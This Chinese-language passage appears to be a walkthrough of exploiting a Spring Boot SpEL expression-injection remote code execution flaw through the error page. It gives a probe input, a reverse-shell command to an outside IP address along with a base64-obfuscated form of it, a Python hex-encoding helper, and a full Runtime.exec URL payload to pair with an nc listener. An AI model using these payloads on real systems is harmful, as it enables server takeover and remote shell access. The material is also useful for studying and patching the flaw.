org.springframework.util.PropertyPlaceholderHelper
类中parseStringValue
方法进行递归解析。${}
包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。1、漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
2、寻找一个正常传参处,在本例中以/article?id=xxx为例,实战可以通过burpsuite等工具fuzz。若网站状态码返回为500,则后续测试可在此id参数进行。
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
2、编辑脚本,将反弹shell的命令转换为java字节形式。
bash -i >& /dev/tcp/140.143.30.49/443 0>& 1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDAuMTQzLjMwLjQ5LzQ0MyAwPiYgMQ==}|{base64,-d}|{bash,-i}
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
3、攻击机nc监听,执行如下payload。
http://192.168.3.136:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]
{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4e,0x44,0x41,0x75,0x4d,0x54,0x51,0x7a,0x4c,0x6a,0x4d,0x77,0x4c,0x6a,0x51,0x35,0x4c,0x7a,0x51,0x30,0x4d,0x79,0x41,0x77,0x50,0x69,0x59,0x67,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
https://github.com/LandGrey/SpringBootVulExploit
https://www.cnblogs.com/litlife/p/10183137.html 原理